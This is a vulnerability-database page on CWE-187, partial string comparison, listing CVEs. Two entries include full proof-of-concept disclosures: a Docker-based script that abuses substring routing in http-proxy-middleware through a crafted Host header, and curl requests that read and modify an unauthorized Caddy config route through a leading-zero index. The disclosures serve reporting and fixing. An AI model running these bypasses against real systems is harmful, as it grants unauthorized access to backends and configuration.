CWE-187
Partial String Comparison
Extended description
For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.
Common consequences1
- IntegrityAccess ControlAlter Execution LogicBypass Protection Mechanism
Potential mitigations1
- Testing
Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.
Relationships1
- ChildOfCWE-1023
CVEs referencing this CWE11
| CVE | Description | Severity | EPSS | Flags | Modified |
|---|---|---|---|---|---|
| CVE-2024-41110 | Moby is an open-source project created by Docker for software containerization. A security vulnerability has been detected in certain versions of Docker Engine, which could allow an attacker to bypass authorization plugins (AuthZ) under specific circumstances. The base likelihood of this being exploited is low. Using a specially-crafted API request, an Engine API client could make the daemon forward the request or response to an authorization plugin without the body. In certain circumstances, the authorization plugin may allow a request which it would have otherwise denied if the body had been forwarded to it. A security issue was discovered In 2018, where an attacker could bypass AuthZ plugins using a specially crafted API request. This could lead to unauthorized actions, including privilege escalation. Although this issue was fixed in Docker Engine v18.09.1 in January 2019, the fix was not carried forward to later major versions, resulting in a regression. Anyone who depends on authorization plugins that introspect the request and/or response body to make access control decisions is potentially impacted. Docker EE v19.03.x and all versions of Mirantis Container Runtime are not vulnerable. docker-ce v27.1.1 containes patches to fix the vulnerability. Patches have also been merged into the master, 19.03, 20.0, 23.0, 24.0, 25.0, 26.0, and 26.1 release branches. If one is unable to upgrade immediately, avoid using AuthZ plugins and/or restrict access to the Docker API to trusted parties, following the principle of least privilege. | CRITICAL10.0 | 17%p97 | PoC | 2026-04-15 |
| CVE-2025-57808 | ESPHome is a system to control microcontrollers remotely through Home Automation systems. In version 2025.8.0 in the ESP-IDF platform, ESPHome's web_server authentication check can pass incorrectly when the client-supplied base64-encoded Authorization value is empty or is a substring of the correct value. This allows access to web_server functionality (including OTA, if enabled) without knowing any information about the correct username or password. This issue has been patched in version 2025.8.1. | HIGH8.1 | 1.51%p71 | 2025-09-10 | |
| CVE-2022-31802 | In CODESYS Gateway Server V2 for versions prior to V2.3.9.38 only a part of the the specified password is been compared to the real CODESYS Gateway password. An attacker may perform authentication by specifying a small password that matches the corresponding part of the longer real CODESYS Gateway password. | CRITICAL9.8 | 1.03%p59 | 2024-11-21 | |
| CVE-2024-39742 | IBM MQ Operator 3.2.2 and IBM MQ Operator 2.0.24 could allow a user to bypass authentication under certain configurations due to a partial string comparison vulnerability. IBM X-Force ID: 297169. | CRITICAL9.8 | 0.76%p51 | 2024-11-21 | |
| CVE-2026-35031 | Jellyfin is an open source self hosted media server. Versions prior to 10.11.7 contain a vulnerability chain in the subtitle upload endpoint (POST /Videos/{itemId}/Subtitles), where the Format field is not validated, allowing path traversal via the file extension and enabling arbitrary file write. This arbitrary file write can be chained into arbitrary file read via .strm files, database extraction, admin privilege escalation, and ultimately remote code execution as root via ld.so.preload. Exploitation requires an administrator account or a user that has been explicitly granted the "Upload Subtitles" permission. This issue has been fixed in version 10.11.7. If users are unable to upgrade immediately, they can grant non-administrator users Subtitle upload permissions to reduce attack surface. | HIGH8.8 | 0.75%p50 | 2026-04-23 | |
| CVE-2026-44837 | view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix. This vulnerability is fixed in 4.9.0. | HIGH7.5 | 0.37%p28 | 2026-06-08 | |
| CVE-2026-34785 | Rack is a modular Ruby web server interface. Prior to versions 2.2.23, 3.1.21, and 3.2.6, Rack::Static determines whether a request should be served as a static file using a simple string prefix check. When configured with URL prefixes such as "/css", it matches any request path that begins with that string, including unrelated paths such as "/css-config.env" or "/css-backup.sql". As a result, files under the static root whose names merely share the configured prefix may be served unintentionally, leading to information disclosure. This issue has been patched in versions 2.2.23, 3.1.21, and 3.2.6. | HIGH7.5 | 0.31%p22 | 2026-05-13 | |
| CVE-2026-30874 | OpenWrt Project is a Linux operating system targeting embedded devices. In versions prior to 24.10.6, a vulnerability in the hotplug_call function allows an attacker to bypass environment variable filtering and inject an arbitrary PATH variable, potentially leading to privilege escalation. The function is intended to filter out sensitive environment variables like PATH when executing hotplug scripts in /etc/hotplug.d, but a bug using strcmp instead of strncmp causes the filter to compare the full environment string (e.g., PATH=/some/value) against the literal "PATH", so the match always fails. As a result, the PATH variable is never excluded, enabling an attacker to control which binaries are executed by procd-invoked scripts running with elevated privileges. This issue has been fixed in version 24.10.6. | HIGH7.8 | 0.30%p21 | 2026-03-23 | |
| CVE-2025-23384 | A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V8.2.1), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V8.2.1), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V8.2.1), SCALANCE M812-1 ADSL-Router family (All versions < V8.2.1), SCALANCE M816-1 ADSL-Router family (All versions < V8.2.1), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V8.2.1), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V8.2.1), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V8.2.1), SCALANCE M874-3 3G-Router (CN) (6GK5874-3AA00-2FA2) (All versions < V8.2.1), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V8.2.1), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V8.2.1), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V8.2.1), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V8.2.1), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V8.2.1), SCALANCE MUB852-1 (A1) (6GK5852-1EA10-1AA1) (All versions < V8.2.1), SCALANCE MUB852-1 (B1) (6GK5852-1EA10-1BA1) (All versions < V8.2.1), SCALANCE MUM853-1 (A1) (6GK5853-2EA10-2AA1) (All versions < V8.2.1), SCALANCE MUM853-1 (B1) (6GK5853-2EA10-2BA1) (All versions < V8.2.1), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V8.2.1), SCALANCE MUM856-1 (A1) (6GK5856-2EA10-3AA1) (All versions < V8.2.1), SCALANCE MUM856-1 (B1) (6GK5856-2EA10-3BA1) (All versions < V8.2.1), SCALANCE MUM856-1 (CN) (6GK5856-2EA00-3FA1) (All versions < V8.2.1), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V8.2.1), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V8.2.1), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V8.2.1), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V8.2.1), SCALANCE SC622-2C (6GK5622-2GS00-2AC2) (All versions < V3.2), SCALANCE SC626-2C (6GK5626-2GS00-2AC2) (All versions < V3.2), SCALANCE SC632-2C (6GK5632-2GS00-2AC2) (All versions < V3.2), SCALANCE SC636-2C (6GK5636-2GS00-2AC2) (All versions < V3.2), SCALANCE SC642-2C (6GK5642-2GS00-2AC2) (All versions < V3.2), SCALANCE SC646-2C (6GK5646-2GS00-2AC2) (All versions < V3.2). Affected devices improperly validate usernames during OpenVPN authentication. This could allow an attacker to get partial invalid usernames accepted by the server. | LOW3.7 | 0.26%p17 | 2026-05-12 | |
| CVE-2026-55602 | # Summary `http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. # Details Tested code state: - validated on tag `v4.0.0-beta.5` - corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358` Relevant code locations: - `src/router.ts` - `src/http-proxy-middleware.ts` Affected public API: - `createProxyMiddleware({ router: { 'host/path': 'http://target' } })` Code explanation: When a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if: ```ts hostAndPath.indexOf(key) > -1 ``` That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is: ```txt localhost:3000/api ``` but the attacker-controlled host is: ```txt evillocalhost:3000 ``` and the request path is: ```txt /api ``` The concatenated attacker-controlled string: ```txt evillocalhost:3000/api ``` still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host. Exploit path: 1. the application enables the documented proxy-table `router` feature with at least one host+path rule 2. an external attacker sends an ordinary HTTP request with a crafted `Host` header 3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying 4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching 5. the request is proxied to the wrong backend ## PoC Create these files in the same working directory and run: ```bash bash ./run.sh ``` ### File: `run.sh` ```bash #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" REPO_URL="https://github.com/chimurai/http-proxy-middleware.git" REPO_REF="v4.0.0-beta.5" WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")" TARGET_REPO_DIR="${WORKDIR}/repo" REPRO_DIR="${WORKDIR}/reproduction" IMAGE_TAG="http-proxy-middleware-router-bypass-poc" cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT echo "[a3] cloning target repository" git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}" git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}" mkdir -p "${REPRO_DIR}" cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile" cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs" echo "[a3] building reproduction image" docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}" echo "[a3] running verification" docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs ``` ### File: `Dockerfile` ```Dockerfile FROM node:22-bullseye WORKDIR /work COPY repo/package.json repo/yarn.lock /work/repo/ RUN corepack enable \ && cd /work/repo \ && yarn install --frozen-lockfile COPY repo /work/repo RUN cd /work/repo && yarn build COPY reproduction /work/reproduction ``` ### File: `verify.mjs` ```js import http from 'node:http'; import fs from 'node:fs'; import assert from 'node:assert/strict'; import { createProxyMiddleware } from '/work/repo/dist/index.js'; const ROUTER_KEY = 'localhost:3000/api'; const CRAFTED_HOST = 'evillocalhost:3000'; function listen(server, port) { return new Promise((resolve) => { server.listen(port, '127.0.0.1', () => resolve()); }); } function close(server) { return new Promise((resolve, reject) => { server.close((err) => { if (err) { reject(err); return; } resolve(); }); }); } function request(path, host) { return new Promise((resolve, reject) => { const req = http.request( { host: '127.0.0.1', port: 3000, path, method: 'GET', headers: { Host: host, }, }, (res) => { let data = ''; res.setEncoding('utf8'); res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, body: data }); }); }, ); req.on('error', reject); req.end(); }); } const defaultBackend = http.createServer((req, res) => { res.end('DEFAULT'); }); const secretBackend = http.createServer((req, res) => { res.end('SECRET'); }); const proxyMiddleware = createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); const proxyServer = http.createServer((req, res) => { proxyMiddleware(req, res, () => { res.statusCode = 404; res.end('NO_PROXY'); }); }); try { assert.ok(fs.existsSync('/work/repo/dist/index.js')); assert.ok(fs.existsSync('/work/reproduction/verify.mjs')); await listen(defaultBackend, 3101); await listen(secretBackend, 3102); await listen(proxyServer, 3000); console.log('STEP start-services ok'); const baseline = await request('/api', 'safe.example:3000'); assert.equal(baseline.statusCode, 200); assert.equal(baseline.body, 'DEFAULT'); console.log(`STEP baseline-route body=${baseline.body}`); const crafted = await request('/api', CRAFTED_HOST); assert.equal(crafted.statusCode, 200); assert.equal(crafted.body, 'SECRET'); assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]); console.log(`STEP crafted-route body=${crafted.body}`); console.log('RESULT reproduced host_header_injection router substring match bypass'); } finally { await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]); } ``` This PoC starts: - one default backend returning `DEFAULT` - one alternate backend returning `SECRET` - one proxy using: ```js createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); ``` It then sends: 1. a baseline request to `/api` with `Host: safe.example:3000` 2. a crafted request to `/api` with `Host: evillocalhost:3000` Observed result from the validated PoC: - baseline request: `STEP baseline-route body=DEFAULT` - crafted request: `STEP crafted-route body=SECRET` - success marker: `RESULT reproduced host_header_injection router substring match bypass` The PoC is considered successful only if: 1. the baseline request stays on the default backend 2. the crafted request reaches the alternate backend 3. the crafted host is not equal to the configured router host # Impact This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header. | NONE | no EPSS | 2026-06-18 | |
| CVE-2026-45692 | This report is not about a normal textual prefix-expansion case. The issue here is that the authorization layer and the `/config` traversal layer do **not agree on what object the path refers to**. In this case, a path authorized for one config object is accepted, but then resolves to a **different config object** during traversal. ## AI Disclosure The reporter used an LLM to help review the code, reason about the behavior, and help draft this report. The reporter manually reproduced and validated the issue locally, confirmed the relevant source paths, and captured the requests and responses below. ## Summary A remote admin client certificate restricted to the following path: ```text /config/apps/http/servers/srv/routes/0 ``` can still read and modify a different array element by requesting: /config/apps/http/servers/srv/routes/01 This happens because: - the authorization layer uses string prefix matching - the /config traversal layer parses array indices numerically using strconv.Atoi() So: - authorization sees /.../01 as matching /.../0 - traversal resolves 01 to numeric index 1 - the request therefore targets routes[1], not routes[0] This is not just a prefix-match quirk. It is an authorization-to-object mismatch. ## Why This Is In Scope This is a security bug in Caddy's own code: - no browser behavior is involved - no dependency bug is involved - no external system compromise is involved - no third-party software compromise is required - no unsafe content hosting or file upload is required This is also not just “an unsafe configuration”. The configuration explicitly attempts to limit access to one specific path: /config/apps/http/servers/srv/routes/0 But Caddy enforces a policy that ends up granting access to a different object (routes[1]) because of how traversal interprets the final path component. In short: - configured authorization target: routes[0] - actual accessed object: routes[1] That difference is caused by Caddy itself. ## Relevant Source Code Authorization path matching: - admin.go:719 Authorization config comment: - admin.go:213 Config traversal with numeric parsing: - admin.go:1201 - admin.go:1310 ## Root Cause ### Authorization layer ``` for _, allowedPath := range accessPerm.Paths { if strings.HasPrefix(r.URL.Path, allowedPath) { pathFound = true break } } ``` ### Traversal layer idx, err = strconv.Atoi(idxStr) and later: partInt, err := strconv.Atoi(part) Because of that: - allowed path: /config/.../routes/0 - requested path: /config/.../routes/01 - authorization decision: allowed - actual object selected: routes[1] ## Why This Is Not Just a “Prefix” Case For a normal path hierarchy, a “subpath” means a child resource of the same authorized object. For example: - /config/apps/http - /config/apps/http/servers - /config/apps/http/servers/srv/routes/0/handle Those are genuine deeper descendants. But this case is different. Within the /config API, the final path component after /routes/ is not just a text fragment. It is a semantic selector for an array index. So: - /routes/0 means routes[0] - /routes/01 means routes[1] - /routes/02 means routes[2] That means /routes/01 is not a child of routes[0] in object semantics. It is a different array element entirely. So even if prefix matching is documented, this case is different because: - authorization uses the textual form - traversal uses the numeric form - the two refer to different objects This should be treated as an authorization bug rather than a documented prefix behavior. ## Security Impact A remote admin identity restricted to one /config array element can: - read a different array element - modify a different array element This breaks least-privilege remote admin policies. In practice, a delegated certificate that should only be able to inspect or edit one route can instead inspect or edit another route in the same array. ## Affected Product Tested on: v2.11.2-3-gdf65455b Affected area: - remote admin - admin.remote.access_control.permissions.paths - /config API paths containing numeric array indices The reporter reproduced this on current HEAD. ## Minimal Reproduction Configuration ``` { "storage": { "module": "file_system", "root": "/tmp/caddy-config-index-storage" }, "admin": { "listen": "127.0.0.1:2029", "identity": { "identifiers": ["localhost"], "issuers": [ { "module": "internal" } ] }, "remote": { "listen": "127.0.0.1:2031", "access_control": [ { "public_keys": ["<CLIENT_CERT_BASE64_DER>"], "permissions": [ { "methods": ["GET", "PATCH"], "paths": ["/config/apps/http/servers/srv/routes/0"] } ] } ] } }, "apps": { "http": { "servers": { "srv": { "listen": [":9088"], "routes": [ { "handle": [ { "handler": "static_response", "body": "route zero" } ] }, { "handle": [ { "handler": "static_response", "body": "route one" } ] } ] } } } } } ``` ## Commands ### 1. Generate client certificate ``` openssl req -x509 -newkey rsa:2048 -nodes -days 365 \ -subj '/CN=remote-admin-client' \ -keyout client.key \ -out client.crt ``` ### 2. Convert to base64 DER ``` CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')" ``` ### 3. Start Caddy ``` go run ./cmd/caddy run --config ./repro.json ``` ## Specific Minimal Reproduction Steps ### Step 1: Read the explicitly authorized object ``` curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/0 ``` Observed result: ``` < HTTP/1.1 200 OK {"handle":[{"body":"route zero","handler":"static_response"}]} ``` ### Step 2: Read a different object using a leading-zero index ``` curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01 ``` Observed result: ``` < HTTP/1.1 200 OK {"handle":[{"body":"route one","handler":"static_response"}]} ``` This shows that a client limited to routes/0 can read routes[1]. ### Step 3: Confirm that the traversal layer is interpreting the component numerically ``` curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/02 ``` Observed result: ``` < HTTP/1.1 400 Bad Request {"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"} ``` This is important because it shows Caddy is not treating 01 and 02 as ordinary child paths under 0. It is treating them as numeric indices. ### Step 4: Modify the unauthorized object ``` curl -vk \ -X PATCH \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ -H 'Content-Type: application/json' \ --data '{"handle":[{"handler":"static_response","body":"patched route one"}]}' \ https://localhost:2031/config/apps/http/servers/srv/routes/01 ``` Observed result: ``` < HTTP/1.1 200 OK ``` ### Step 5: Confirm the unauthorized modification ``` curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01 ``` Observed result: ``` < HTTP/1.1 200 OK {"handle":[{"body":"patched route one","handler":"static_response"}]} ``` That confirms the client was able to modify routes[1], even though only /routes/0 was authorized. ## Precise Requests and Captured Output ### Authorized read ``` > GET /config/apps/http/servers/srv/routes/0 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* < < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3" < {"handle":[{"body":"route zero","handler":"static_response"}]} ``` ### Unauthorized read ``` > GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* < < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d" < {"handle":[{"body":"route one","handler":"static_response"}]} ``` ### Numeric index interpretation evidence ``` > GET /config/apps/http/servers/srv/routes/02 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* < < HTTP/1.1 400 Bad Request < {"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"} ``` ### Unauthorized modification ``` > PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* > Content-Type: application/json > Content-Length: 69 < < HTTP/1.1 200 OK ``` ### Confirmation of unauthorized modification ``` > GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* < < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0" < {"handle":[{"body":"patched route one","handler":"static_response"}]} ``` ## Full Log Output Relevant startup logs from the reproduction run: ``` root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json 2026/03/20 02:10:51.148 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined 2026/03/20 02:10:51.148 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807} 2026/03/20 02:10:51.148 INFO using config from file {"file": "/tmp/caddy-config-index-repro.json"} 2026/03/20 02:10:51.149 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]} 2026/03/20 02:10:51.149 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:10:51.149 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:10:51.149 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]} 2026/03/20 02:10:51.149 INFO tls.cache.maintenance started background certificate maintenance {"cache": "0xc0003d7580"} 2026/03/20 02:10:51.149 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc00026fd00"} 2026/03/20 02:10:51.149 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/20 02:10:51.149 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"} 2026/03/20 02:10:51.149 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/20 02:10:51.149 INFO serving initial configuration 2026/03/20 02:10:51.156 INFO tls storage cleaning happened too recently; skipping for now {"storage": "FileStorage:/tmp/caddy-config-index-storage", "instance": "55d383b9-7ae1-4713-89a2-b4106612cdcf", "try_again": "2026/03/21 02:10:51.156", "try_again_in": 86399.999999609} 2026/03/20 02:10:51.156 INFO tls finished cleaning storage units 2026/03/20 02:11:14.787 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/0", "remote_ip": "127.0.0.1", "remote_port": "59932", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:11:22.116 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "40070", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} pkill -f '/tmp/caddy-config-index-repro.json' ^C2026/03/20 02:13:47.114 INFO shutting down {"signal": "SIGINT"} 2026/03/20 02:13:47.114 WARN exiting; byeee!! 👋 {"signal": "SIGINT"} 2026/03/20 02:13:47.114 INFO http servers shutting down with eternal grace period 2026/03/20 02:13:47.114 INFO admin stopped previous server {"address": "127.0.0.1:2031"} 2026/03/20 02:13:47.114 INFO admin stopped previous server {"address": "127.0.0.1:2029"} 2026/03/20 02:13:47.114 INFO shutdown complete {"signal": "SIGINT", "exit_code": 0} root@dbdd95a60758:/caddy# pkill -f '/tmp/caddy-config-index-repro.json' root@dbdd95a60758:/caddy# pkill -f '/tmp/caddy-config-index-repro.json' root@dbdd95a60758:/caddy# ps -ef | rg 'caddy-config-index-repro|cmd/caddy run --config /tmp/caddy-config-index-repro.json' bash: rg: command not found root@dbdd95a60758:/caddy# ss -ltnp | rg ':2029|:2031|:9088' bash: rg: command not found root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json 2026/03/20 02:14:52.698 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined 2026/03/20 02:14:52.698 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807} 2026/03/20 02:14:52.698 INFO using config from file {"file": "/tmp/caddy-config-index-repro.json"} 2026/03/20 02:14:52.698 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]} 2026/03/20 02:14:52.699 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:14:52.699 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:14:52.699 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]} 2026/03/20 02:14:52.699 INFO tls.cache.maintenance started background certificate maintenance {"cache": "0xc00011d900"} 2026/03/20 02:14:52.699 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc000276800"} 2026/03/20 02:14:52.699 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/20 02:14:52.699 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"} 2026/03/20 02:14:52.699 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/20 02:14:52.699 INFO serving initial configuration 2026/03/20 02:14:52.706 INFO tls storage cleaning happened too recently; skipping for now {"storage": "FileStorage:/tmp/caddy-config-index-storage", "instance": "55d383b9-7ae1-4713-89a2-b4106612cdcf", "try_again": "2026/03/21 02:14:52.706", "try_again_in": 86399.999999659} 2026/03/20 02:14:52.706 INFO tls finished cleaning storage units 2026/03/20 02:15:17.145 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/0", "remote_ip": "127.0.0.1", "remote_port": "35382", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:28.746 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "38998", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:33.180 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/02", "remote_ip": "127.0.0.1", "remote_port": "46698", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:33.180 ERROR admin.api request error {"error": "[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02", "status_code": 400} 2026/03/20 02:15:39.610 INFO admin.api received request {"method": "PATCH", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "46712", "headers": {"Accept":["*/*"],"Content-Length":["69"],"Content-Type":["application/json"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/20 02:15:39.610 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]} 2026/03/20 02:15:39.610 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:15:39.610 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"} 2026/03/20 02:15:39.610 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]} 2026/03/20 02:15:39.610 INFO admin stopped previous server {"address": "127.0.0.1:2029"} 2026/03/20 02:15:39.610 INFO admin.identity.cache.maintenance stopped background certificate maintenance {"cache": "0xc000276800"} 2026/03/20 02:15:39.610 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc0005b6a00"} 2026/03/20 02:15:39.611 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/20 02:15:39.611 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"} 2026/03/20 02:15:39.611 INFO http servers shutting down with eternal grace period 2026/03/20 02:15:39.611 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/20 02:15:39.612 INFO admin stopped previous server {"address": "127.0.0.1:2031"} 2026/03/20 02:15:49.018 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "53712", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} ``` ``` root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/0 * Added localhost:2031:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2031... * Connected to localhost (127.0.0.1) port 2031 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 21:59:41 2026 GMT * expire date: Mar 20 09:59:41 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable 